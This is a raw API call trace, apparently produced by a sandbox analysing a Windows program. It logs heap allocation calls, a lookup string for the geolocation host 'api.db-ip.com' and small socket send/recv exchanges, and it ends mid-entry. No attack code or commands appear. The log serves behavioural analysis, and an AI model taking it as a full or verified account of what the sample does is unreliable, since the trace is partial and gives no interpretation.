0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] GetCurrentThreadId () returned 0x9fc [0119.221] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e08 [0119.221] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35260 [0119.222] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36638 [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="api.db-ip.com", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0119.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="api.db-ip.com", cchWideChar=13, lpMultiByteStr=0x7f30ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="api.db-ip.com", lpUsedDefaultChar=0x0) returned 13 [0119.222] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35ba8 [0119.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa90 | out: lpSystemTimeAsFileTime=0x18fa90*(dwLowDateTime=0x97f73580, dwHighDateTime=0x1d60051)) [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d48b80 [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48b80 | out: hHeap=0x2a0000) returned 1 [0119.222] GetCurrentThreadId () returned 0x9fc [0119.222] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] GetCurrentThreadId () returned 0x9fc [0119.223] SetLastError (dwErrCode=0x0) [0119.223] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35ad0 [0119.223] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5558) returned 0x2d3b470 [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4548) returned 0x2d518f8 [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x44b0) returned 0x2d409d0 [0119.224] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36488 [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.224] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35698 [0119.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xf4) returned 0x2a0e90 [0119.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa28 | out: lpSystemTimeAsFileTime=0x18fa28*(dwLowDateTime=0x97f73580, dwHighDateTime=0x1d60051)) [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.225] GetCurrentThreadId () returned 0x9fc [0119.226] GetCurrentThreadId () returned 0x9fc [0119.226] GetCurrentThreadId () returned 0x9fc [0119.226] GetCurrentThreadId () returned 0x9fc [0119.226] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d48b80 [0119.226] GetCurrentThreadId () returned 0x9fc [0119.226] GetCurrentThreadId () returned 0x9fc [0119.226] GetCurrentThreadId () returned 0x9fc [0119.226] GetCurrentThreadId () returned 0x9fc [0119.226] GetCurrentThreadId () returned 0x9fc [0119.226] GetCurrentThreadId () returned 0x9fc [0119.226] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48b80 | out: hHeap=0x2a0000) returned 1 [0119.226] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1b4) returned 0x2d50ef8 [0119.226] WSASetLastError (iError=0) [0119.226] send (s=0x12c, buf=0x2d3b470*, len=329, flags=0) returned 329 [0119.226] WSASetLastError (iError=0) [0119.226] recv (in: s=0x12c, buf=0x2d518f8, len=7, flags=0 | out: buf=0x2d518f8*) returned 7 [0119.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d365a8 [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] GetCurrentThreadId () returned 0x9fc [0119.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2d4a290 [0119.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x2d44e88 [0119.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x2d571e8 [0119.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa40 | out: lpSystemTimeAsFileTime=0x18fa40*(dwLowDateTime=0x97fbf840, dwHighDateTime=0x1d60051)) [0119.251] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d48b80 [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48b80 | out: hHeap=0x2a0000) returned 1 [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] GetCurrentThreadId () returned 0x9fc [0119.252] WSASetLastError (iError=0) [0119.252] recv (in: s=0x12c, buf=0x2d51902, len=61, flags=0 | out: buf=0x2d51902*) returned 61 [0119.252] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1) returned 0x2d4abc8 [0119.252] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35a10 [0119.252] SetLastError (dwErrCode=0x0) [0119.252] WSASetLastError (iError=0) [0119.252] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.253] SetLastError (dwErrCode=0x0) [0119.253] WSASetLastError (iError=0) [0119.253] recv (in: s=0x12c, buf=0x2d51900, len=2201, flags=0 | out: buf=0x2d51900*) returned 2201 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd7c) returned 0x2d581f0 [0119.253] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d50ef8 | out: hHeap=0x2a0000) returned 1 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361a8 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35aa0 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2d58f78 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2d562c0 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a28 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab18 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35818 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35a40 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab68 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a70 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35548 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ee8 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36088 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354b8 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35758 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d354e8 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4aba8 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d357e8 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab28 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35968 [0119.253] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35650, Size=0x20) returned 0x2d4a3d0 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36208 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35650 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35428 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34de0 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36268 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac48 [0119.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f68 [0119.254] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a40 | out: hHeap=0x2a0000) returned 1 [0119.254] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35818 | out: hHeap=0x2a0000) returned 1 [0119.254] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36068 | out: hHeap=0x2a0000) returned 1 [0119.254] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360a8 | out: hHeap=0x2a0000) returned 1 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35818 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35a40 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d48b80 [0119.254] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35818, Size=0x20) returned 0x2d4a4e8 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36388 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35818 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35bf0 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35b90 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d358f0 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d360e8 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac78 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acb8 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f88 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359b0 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fd8 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ff0 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36348 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aae8 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e28 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36108 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac18 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35248 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362c8 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0119.254] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35818, Size=0x20) returned 0x2d4a218 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35818 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361c8 [0119.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aab8 [0119.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d363e8 [0119.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36448 [0119.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e58 [0119.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0119.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359c8 [0119.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36148 [0119.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac58 [0119.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36028 [0119.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6f) returned 0x2d28e10 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4acb8 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d358f0 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac78 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360e8 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b90 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35bf0 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aae8 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34ff0 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab48 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36348 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fd8 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d359b0 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f88 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35248 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e28 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac18 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35188 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35230 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363e8 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35218 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aab8 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35818 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350c8 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362c8 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36028 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d359c8 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac58 | out: hHeap=0x2a0000) returned 1 [0119.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36148 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35068 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e58 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a218 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36388 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354a0 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36168 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d357d0 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e68 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350f8 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36328 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35140 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36428 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35650 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36208 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a3d0 | out: hHeap=0x2a0000) returned 1 [0119.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fc8 | out: hHeap=0x2a0000) returned 1 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35650 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35140 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fc8 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350f8 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36208 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d357d0 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354a0 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e58 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36428 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac58 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aab8 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36328 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359c8 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35e68 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, 